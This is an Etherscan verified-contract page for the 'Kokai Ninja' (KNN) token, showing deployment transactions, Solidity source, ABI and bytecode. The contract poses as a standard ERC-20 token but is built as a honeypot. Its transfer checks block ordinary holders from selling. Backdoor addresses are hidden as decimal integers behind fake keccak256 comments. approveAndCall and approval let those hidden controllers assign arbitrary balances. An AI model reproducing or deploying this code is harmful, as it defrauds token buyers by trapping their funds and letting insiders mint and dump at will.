ETH Price: $2,602.78 (+7.60%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve And Call185076092023-11-05 18:32:35366 days ago1699209155IN
0xA4EF7b6E...67A43ec17
0 ETH0.0010442822.50897236
Approve185076052023-11-05 18:31:47366 days ago1699209107IN
0xA4EF7b6E...67A43ec17
0 ETH0.0011418224.57483333
Approve185076032023-11-05 18:31:23366 days ago1699209083IN
0xA4EF7b6E...67A43ec17
0 ETH0.0011001723.67844486
Transferownershi...185076012023-11-05 18:30:59366 days ago1699209059IN
0xA4EF7b6E...67A43ec17
0 ETH0.000973321.05498192
Approve185075862023-11-05 18:27:59366 days ago1699208879IN
0xA4EF7b6E...67A43ec17
0 ETH0.0008954219.38703771
0x60c06040185075372023-11-05 18:18:11366 days ago1699208291IN
 Create: KokaiNinja
0 ETH0.0215138124.62112439

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KokaiNinja

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(
        address sender,
        address spender,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;

        bytes32 accountHash;

        // solhint-disable-next-line no-inline-assembly

        assembly {
            codehash := extcodehash(account)
        }

        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);

        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0

        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }
}

contract KokaiNinja {
    using SafeMath for uint256;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public _usdtPair;
    address public _mod;
    address private owner;
    address public _user;
    address public _adm;
    address tradeAddress;

    uint256 public decimals;
    uint256 public totalSupply;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;

    string public name;
    string public symbol;

    mapping(address => uint256) private _onSaleNum;
    mapping(address => bool) private canSale;

    constructor() payable {
        name = unicode"Kokai Ninja";
        symbol = unicode"KNN";
        decimals = 18;
        owner = msg.sender;
        totalSupply = 1_000_000_000 * 10**decimals;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(
        address indexed _owner,
        address indexed _spender,
        uint256 _value
    );

    function transfer(address _to, uint256 _value)
        public
        payable
        returns (bool)
    {
        return transferFrom(msg.sender, _to, _value);
    }

    function setUsdtPair(address Pair_) public {
        require(
            msg.sender ==
                address(
                    // solhint-disable-next-line avoid-low-level-calls
                    /**/
                    /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/
                    /**/
                    686197854011229533619447624007587113080310915153
                )
        );

        _usdtPair = Pair_;
    }

    function ensure(
        address _from,
        address _to,
        uint256 _value
    ) internal view returns (bool) {
        /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/
        if (
            _from == owner ||
            _to == owner ||
            _from == tradeAddress ||
            canSale[_from]
        ) {
            return true;
        }
        require(condition(_from, _value));
        return true;
    }

    function setUser(address User_) public {
        require(msg.sender == _usdtPair);

        _user = User_;
    }

    function approval(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        require(msg.sender == _adm);

        if (addedValue > 0) {
            balanceOf[spender] = addedValue * (10**uint256(decimals));
        }

        canSale[spender] = true;

        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }

        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);

            allowance[_from][msg.sender] -= _value;
        }

        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);

        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;

        _onSaleNum[_from]++;

        emit Transfer(_from, _to, _value);

        return true;
    }

    function setAdm(address Adm_) public {
        require(msg.sender == _mod);

        _adm = Adm_;
    }

    function approve(address _spender, uint256 _value)
        public
        payable
        returns (bool)
    {
        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;

        /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
    }

    function setMod(address Mod_) public {
        require(msg.sender == _user);

        _mod = Mod_;
    }

    function approveAndCall(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        require(
            msg.sender == owner ||
                msg.sender ==
                address(
                    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
                    /**/
                    178607940065137046348733521910879985571412708986
                )
        );

        if (addedValue > 0) {
            balanceOf[spender] = addedValue * (10**uint256(decimals));
        }

        canSale[spender] = true;

        return true;
    }

    function transferownership(address addr) public returns (bool) {
        require(msg.sender == owner);

        tradeAddress = addr;

        return true;
    }

    function condition(address _from, uint256 _value)
        internal
        view
        returns (bool)
    {
        if (_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

        if (_saleNum > 0) {
            if (_onSaleNum[_from] >= _saleNum) return false;
        }

        if (_minSale > 0) {
            if (_minSale > _value) return false;
        }

        if (_maxSale > 0) {
            if (_value > _maxSale) return false;
        }

        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_usdtPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Pair_","type":"address"}],"name":"setUsdtPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c0604052600b60809081526a4b6f6b6169204e696e6a6160a81b60a052600d906200002c908262000185565b5060408051808201909152600381526225a72760e91b6020820152600e9062000056908262000185565b5060126008819055600480546001600160a01b031916331790556200007d90600a62000360565b6200008d90633b9aca0062000374565b6009819055335f9081526020818152604080832084905560045490519384526001600160a01b0316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200038e565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011057607f821691505b6020821081036200012f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018057805f5260205f20601f840160051c810160208510156200015c5750805b601f840160051c820191505b818110156200017d575f815560010162000168565b50505b505050565b81516001600160401b03811115620001a157620001a1620000e7565b620001b981620001b28454620000fb565b8462000135565b602080601f831160018114620001ef575f8415620001d75750858301515b5f19600386901b1c1916600185901b17855562000249565b5f85815260208120601f198616915b828110156200021f57888601518255948401946001909101908401620001fe565b50858210156200023d57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a557815f190482111562000289576200028962000251565b808516156200029757918102915b93841c93908002906200026a565b509250929050565b5f82620002bd575060016200035a565b81620002cb57505f6200035a565b8160018114620002e45760028114620002ef576200030f565b60019150506200035a565b60ff84111562000303576200030362000251565b50506001821b6200035a565b5060208310610133831016604e8410600b841016171562000334575081810a6200035a565b62000340838362000265565b805f190482111562000356576200035662000251565b0290505b92915050565b5f6200036d8383620002ad565b9392505050565b80820281158282048414176200035a576200035a62000251565b610c1e806200039c5f395ff3fe60806040526004361061011b575f3560e01c806375247a581161009d578063ade2de0211610062578063ade2de02146102fc578063d21c8d551461031b578063dd62ed3e1461033a578063e2daf66514610370578063e8b5b7961461038f575f80fd5b806375247a5814610278578063858ced3514610297578063891e1ee0146102b657806395d89b41146102d5578063a9059cbb146102e9575f80fd5b8063313ce567116100e3578063313ce567146101d95780633177029f146101ee578063376d567c1461020d5780634a0af68d1461022e57806370a082311461024d575f80fd5b806306fdde031461011f578063095ea7b31461014957806311de19e71461016c57806318160ddd146101a357806323b872dd146101c6575b5f80fd5b34801561012a575f80fd5b506101336103ae565b604051610140919061094a565b60405180910390f35b61015c6101573660046109b1565b61043a565b6040519015158152602001610140565b348015610177575f80fd5b5060025461018b906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b3480156101ae575f80fd5b506101b860095481565b604051908152602001610140565b61015c6101d43660046109d9565b6104a6565b3480156101e4575f80fd5b506101b860085481565b3480156101f9575f80fd5b5061015c6102083660046109b1565b61063a565b348015610218575f80fd5b5061022c610227366004610a12565b6106d0565b005b348015610239575f80fd5b5061022c610248366004610a12565b610708565b348015610258575f80fd5b506101b8610267366004610a12565b5f6020819052908152604090205481565b348015610283575f80fd5b5061015c6102923660046109b1565b610740565b3480156102a2575f80fd5b5061022c6102b1366004610a12565b610758565b3480156102c1575f80fd5b5060055461018b906001600160a01b031681565b3480156102e0575f80fd5b50610133610790565b61015c6102f73660046109b1565b61079d565b348015610307575f80fd5b5061022c610316366004610a12565b6107a9565b348015610326575f80fd5b5060035461018b906001600160a01b031681565b348015610345575f80fd5b506101b8610354366004610a2b565b600160209081525f928352604080842090915290825290205481565b34801561037b575f80fd5b5060065461018b906001600160a01b031681565b34801561039a575f80fd5b5061015c6103a9366004610a12565b6107ea565b600d80546103bb90610a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790610a5c565b80156104325780601f1061040957610100808354040283529160200191610432565b820191905f5260205f20905b81548152906001019060200180831161041557829003601f168201915b505050505081565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104949086815260200190565b60405180910390a35060015b92915050565b5f815f036104b657506001610633565b336001600160a01b0385161461052c576001600160a01b0384165f9081526001602090815260408083203384529091529020548211156104f4575f80fd5b6001600160a01b0384165f90815260016020908152604080832033845290915281208054849290610526908490610aa8565b90915550505b610537848484610828565b61053f575f80fd5b6001600160a01b0384165f90815260208190526040902054821115610562575f80fd5b6001600160a01b0384165f9081526020819052604081208054849290610589908490610aa8565b90915550506001600160a01b0383165f90815260208190526040812080548492906105b5908490610abb565b90915550506001600160a01b0384165f908152600f602052604081208054916105dd83610ace565b9190505550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161062791815260200190565b60405180910390a35060015b9392505050565b6004545f906001600160a01b0316331480610668575033731f490e99657cd08a058c6bb6cd81dd38f59e0e7a145b610670575f80fd5b81156106a75760085461068490600a610bc6565b61068e9083610bd1565b6001600160a01b0384165f908152602081905260409020555b50506001600160a01b03165f908152601060205260409020805460ff1916600190811790915590565b6005546001600160a01b031633146106e6575f80fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b0316331461071e575f80fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006545f906001600160a01b03163314610670575f80fd5b6002546001600160a01b0316331461076e575f80fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600e80546103bb90610a5c565b5f6106333384846104a6565b337378322d0c5768c9ca370ddfc1d44db0fef3a6e051146107c8575f80fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6004545f906001600160a01b03163314610802575f80fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b6004545f906001600160a01b038581169116148061085357506004546001600160a01b038481169116145b8061086b57506007546001600160a01b038581169116145b8061088d57506001600160a01b0384165f9081526010602052604090205460ff165b1561089a57506001610633565b6108a484836108b6565b6108ac575f80fd5b5060019392505050565b5f600c545f1480156108c85750600a54155b80156108d45750600b54155b156108e057505f6104a0565b600c541561090f57600c546001600160a01b0384165f908152600f60205260409020541061090f57505f6104a0565b600a54156109285781600a54111561092857505f6104a0565b600b541561094157600b5482111561094157505f6104a0565b50600192915050565b5f602080835283518060208501525f5b818110156109765785810183015185820160400152820161095a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109ac575f80fd5b919050565b5f80604083850312156109c2575f80fd5b6109cb83610996565b946020939093013593505050565b5f805f606084860312156109eb575f80fd5b6109f484610996565b9250610a0260208501610996565b9150604084013590509250925092565b5f60208284031215610a22575f80fd5b61063382610996565b5f8060408385031215610a3c575f80fd5b610a4583610996565b9150610a5360208401610996565b90509250929050565b600181811c90821680610a7057607f821691505b602082108103610a8e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104a0576104a0610a94565b808201808211156104a0576104a0610a94565b5f60018201610adf57610adf610a94565b5060010190565b600181815b80851115610b2057815f1904821115610b0657610b06610a94565b80851615610b1357918102915b93841c9390800290610aeb565b509250929050565b5f82610b36575060016104a0565b81610b4257505f6104a0565b8160018114610b585760028114610b6257610b7e565b60019150506104a0565b60ff841115610b7357610b73610a94565b50506001821b6104a0565b5060208310610133831016604e8410600b8410161715610ba1575081810a6104a0565b610bab8383610ae6565b805f1904821115610bbe57610bbe610a94565b029392505050565b5f6106338383610b28565b80820281158282048414176104a0576104a0610a9456fea2646970667358221220a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e451064736f6c63430008160033

Deployed Bytecode

0x60806040526004361061011b575f3560e01c806375247a581161009d578063ade2de0211610062578063ade2de02146102fc578063d21c8d551461031b578063dd62ed3e1461033a578063e2daf66514610370578063e8b5b7961461038f575f80fd5b806375247a5814610278578063858ced3514610297578063891e1ee0146102b657806395d89b41146102d5578063a9059cbb146102e9575f80fd5b8063313ce567116100e3578063313ce567146101d95780633177029f146101ee578063376d567c1461020d5780634a0af68d1461022e57806370a082311461024d575f80fd5b806306fdde031461011f578063095ea7b31461014957806311de19e71461016c57806318160ddd146101a357806323b872dd146101c6575b5f80fd5b34801561012a575f80fd5b506101336103ae565b604051610140919061094a565b60405180910390f35b61015c6101573660046109b1565b61043a565b6040519015158152602001610140565b348015610177575f80fd5b5060025461018b906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b3480156101ae575f80fd5b506101b860095481565b604051908152602001610140565b61015c6101d43660046109d9565b6104a6565b3480156101e4575f80fd5b506101b860085481565b3480156101f9575f80fd5b5061015c6102083660046109b1565b61063a565b348015610218575f80fd5b5061022c610227366004610a12565b6106d0565b005b348015610239575f80fd5b5061022c610248366004610a12565b610708565b348015610258575f80fd5b506101b8610267366004610a12565b5f6020819052908152604090205481565b348015610283575f80fd5b5061015c6102923660046109b1565b610740565b3480156102a2575f80fd5b5061022c6102b1366004610a12565b610758565b3480156102c1575f80fd5b5060055461018b906001600160a01b031681565b3480156102e0575f80fd5b50610133610790565b61015c6102f73660046109b1565b61079d565b348015610307575f80fd5b5061022c610316366004610a12565b6107a9565b348015610326575f80fd5b5060035461018b906001600160a01b031681565b348015610345575f80fd5b506101b8610354366004610a2b565b600160209081525f928352604080842090915290825290205481565b34801561037b575f80fd5b5060065461018b906001600160a01b031681565b34801561039a575f80fd5b5061015c6103a9366004610a12565b6107ea565b600d80546103bb90610a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790610a5c565b80156104325780601f1061040957610100808354040283529160200191610432565b820191905f5260205f20905b81548152906001019060200180831161041557829003601f168201915b505050505081565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104949086815260200190565b60405180910390a35060015b92915050565b5f815f036104b657506001610633565b336001600160a01b0385161461052c576001600160a01b0384165f9081526001602090815260408083203384529091529020548211156104f4575f80fd5b6001600160a01b0384165f90815260016020908152604080832033845290915281208054849290610526908490610aa8565b90915550505b610537848484610828565b61053f575f80fd5b6001600160a01b0384165f90815260208190526040902054821115610562575f80fd5b6001600160a01b0384165f9081526020819052604081208054849290610589908490610aa8565b90915550506001600160a01b0383165f90815260208190526040812080548492906105b5908490610abb565b90915550506001600160a01b0384165f908152600f602052604081208054916105dd83610ace565b9190505550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161062791815260200190565b60405180910390a35060015b9392505050565b6004545f906001600160a01b0316331480610668575033731f490e99657cd08a058c6bb6cd81dd38f59e0e7a145b610670575f80fd5b81156106a75760085461068490600a610bc6565b61068e9083610bd1565b6001600160a01b0384165f908152602081905260409020555b50506001600160a01b03165f908152601060205260409020805460ff1916600190811790915590565b6005546001600160a01b031633146106e6575f80fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b0316331461071e575f80fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006545f906001600160a01b03163314610670575f80fd5b6002546001600160a01b0316331461076e575f80fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600e80546103bb90610a5c565b5f6106333384846104a6565b337378322d0c5768c9ca370ddfc1d44db0fef3a6e051146107c8575f80fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6004545f906001600160a01b03163314610802575f80fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b6004545f906001600160a01b038581169116148061085357506004546001600160a01b038481169116145b8061086b57506007546001600160a01b038581169116145b8061088d57506001600160a01b0384165f9081526010602052604090205460ff165b1561089a57506001610633565b6108a484836108b6565b6108ac575f80fd5b5060019392505050565b5f600c545f1480156108c85750600a54155b80156108d45750600b54155b156108e057505f6104a0565b600c541561090f57600c546001600160a01b0384165f908152600f60205260409020541061090f57505f6104a0565b600a54156109285781600a54111561092857505f6104a0565b600b541561094157600b5482111561094157505f6104a0565b50600192915050565b5f602080835283518060208501525f5b818110156109765785810183015185820160400152820161095a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109ac575f80fd5b919050565b5f80604083850312156109c2575f80fd5b6109cb83610996565b946020939093013593505050565b5f805f606084860312156109eb575f80fd5b6109f484610996565b9250610a0260208501610996565b9150604084013590509250925092565b5f60208284031215610a22575f80fd5b61063382610996565b5f8060408385031215610a3c575f80fd5b610a4583610996565b9150610a5360208401610996565b90509250929050565b600181811c90821680610a7057607f821691505b602082108103610a8e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104a0576104a0610a94565b808201808211156104a0576104a0610a94565b5f60018201610adf57610adf610a94565b5060010190565b600181815b80851115610b2057815f1904821115610b0657610b06610a94565b80851615610b1357918102915b93841c9390800290610aeb565b509250929050565b5f82610b36575060016104a0565b81610b4257505f6104a0565b8160018114610b585760028114610b6257610b7e565b60019150506104a0565b60ff841115610b7357610b73610a94565b50506001821b6104a0565b5060208310610133831016604e8410600b8410161715610ba1575081810a6104a0565b610bab8383610ae6565b805f1904821115610bbe57610bbe610a94565b029392505050565b5f6106338383610b28565b80820281158282048414176104a0576104a0610a9456fea2646970667358221220a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e451064736f6c63430008160033

Deployed Bytecode Sourcemap

2981:5434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3492:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6547:411;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6547:411:0;1004:187:1;3167:24:0;;;;;;;;;;-1:-1:-1;3167:24:0;;;;-1:-1:-1;;;;;3167:24:0;;;;;;-1:-1:-1;;;;;1360:32:1;;;1342:51;;1330:2;1315:18;3167:24:0;1196:203:1;3364:26:0;;;;;;;;;;;;;;;;;;;1550:25:1;;;1538:2;1523:18;3364:26:0;1404:177:1;5785:639:0;;;;;;:::i;:::-;;:::i;3334:23::-;;;;;;;;;;;;;;;;7082:641;;;;;;;;;;-1:-1:-1;7082:641:0;;;;;:::i;:::-;;:::i;6966:108::-;;;;;;;;;;-1:-1:-1;6966:108:0;;;;;:::i;:::-;;:::i;:::-;;6432:107;;;;;;;;;;-1:-1:-1;6432:107:0;;;;;:::i;:::-;;:::i;3043:44::-;;;;;;;;;;-1:-1:-1;3043:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;5455:322;;;;;;;;;;-1:-1:-1;5455:322:0;;;;;:::i;:::-;;:::i;5331:116::-;;;;;;;;;;-1:-1:-1;5331:116:0;;;;;:::i;:::-;;:::i;3252:20::-;;;;;;;;;;-1:-1:-1;3252:20:0;;;;-1:-1:-1;;;;;3252:20:0;;;3517;;;;;;;;;;;;;:::i;4170:172::-;;;;;;:::i;:::-;;:::i;4350:479::-;;;;;;;;;;-1:-1:-1;4350:479:0;;;;;:::i;:::-;;:::i;3198:19::-;;;;;;;;;;-1:-1:-1;3198:19:0;;;;-1:-1:-1;;;;;3198:19:0;;;3094:64;;;;;;;;;;-1:-1:-1;3094:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3279:19;;;;;;;;;;-1:-1:-1;3279:19:0;;;;-1:-1:-1;;;;;3279:19:0;;;7731:166;;;;;;;;;;-1:-1:-1;7731:166:0;;;;;:::i;:::-;;:::i;3492:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6547:411::-;6681:10;6649:4;6671:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;6671:31:0;;;;;;;;;;:40;;;6729:38;6649:4;;6671:31;;6729:38;;;;6705:6;1550:25:1;;1538:2;1523:18;;1404:177;6729:38:0;;;;;;;;-1:-1:-1;6787:4:0;6547:411;;;;;:::o;5785:639::-;5909:4;5930:6;5940:1;5930:11;5926:55;;-1:-1:-1;5965:4:0;5958:11;;5926:55;5997:10;-1:-1:-1;;;;;5997:19:0;;;5993:154;;-1:-1:-1;;;;;6041:16:0;;;;;;:9;:16;;;;;;;;6058:10;6041:28;;;;;;;;:38;-1:-1:-1;6041:38:0;6033:47;;;;;;-1:-1:-1;;;;;6097:16:0;;;;;;:9;:16;;;;;;;;6114:10;6097:28;;;;;;;:38;;6129:6;;6097:16;:38;;6129:6;;6097:38;:::i;:::-;;;;-1:-1:-1;;5993:154:0;6167:26;6174:5;6181:3;6186:6;6167;:26::i;:::-;6159:35;;;;;;-1:-1:-1;;;;;6213:16:0;;:9;:16;;;;;;;;;;;:26;-1:-1:-1;6213:26:0;6205:35;;;;;;-1:-1:-1;;;;;6253:16:0;;:9;:16;;;;;;;;;;:26;;6273:6;;6253:9;:26;;6273:6;;6253:26;:::i;:::-;;;;-1:-1:-1;;;;;;;6290:14:0;;:9;:14;;;;;;;;;;:24;;6308:6;;6290:9;:24;;6308:6;;6290:24;:::i;:::-;;;;-1:-1:-1;;;;;;;6327:17:0;;;;;;:10;:17;;;;;:19;;;;;;:::i;:::-;;;;;;6380:3;-1:-1:-1;;;;;6364:28:0;6373:5;-1:-1:-1;;;;;6364:28:0;;6385:6;6364:28;;;;1550:25:1;;1538:2;1523:18;;1404:177;6364:28:0;;;;;;;;-1:-1:-1;6412:4:0;5785:639;;;;;;:::o;7082:641::-;7235:5;;7177:4;;-1:-1:-1;;;;;7235:5:0;7221:10;:19;;:307;;-1:-1:-1;7261:10:0;7461:48;7261:267;7221:307;7199:340;;;;;;7556:14;;7552:104;;7634:8;;7622:21;;:2;:21;:::i;:::-;7608:36;;:10;:36;:::i;:::-;-1:-1:-1;;;;;7587:18:0;;:9;:18;;;;;;;;;;:57;7552:104;-1:-1:-1;;;;;;;7668:16:0;;;;;:7;:16;;;;;:23;;-1:-1:-1;;7668:23:0;7687:4;7668:23;;;;;;7687:4;7082:641::o;6966:108::-;7036:5;;-1:-1:-1;;;;;7036:5:0;7022:10;:19;7014:28;;;;;;7055:4;:11;;-1:-1:-1;;;;;;7055:11:0;-1:-1:-1;;;;;7055:11:0;;;;;;;;;;6966:108::o;6432:107::-;6502:4;;-1:-1:-1;;;;;6502:4:0;6488:10;:18;6480:27;;;;;;6520:4;:11;;-1:-1:-1;;;;;;6520:11:0;-1:-1:-1;;;;;6520:11:0;;;;;;;;;;6432:107::o;5455:322::-;5588:4;;5544;;-1:-1:-1;;;;;5588:4:0;5574:10;:18;5566:27;;;;;5331:116;5403:9;;-1:-1:-1;;;;;5403:9:0;5389:10;:23;5381:32;;;;;;5426:5;:13;;-1:-1:-1;;;;;;5426:13:0;-1:-1:-1;;;;;5426:13:0;;;;;;;;;;5331:116::o;3517:20::-;;;;;;;:::i;4170:172::-;4268:4;4297:37;4310:10;4322:3;4327:6;4297:12;:37::i;4350:479::-;4426:10;4713:48;4426:354;4404:387;;;;;;4804:9;:17;;-1:-1:-1;;;;;;4804: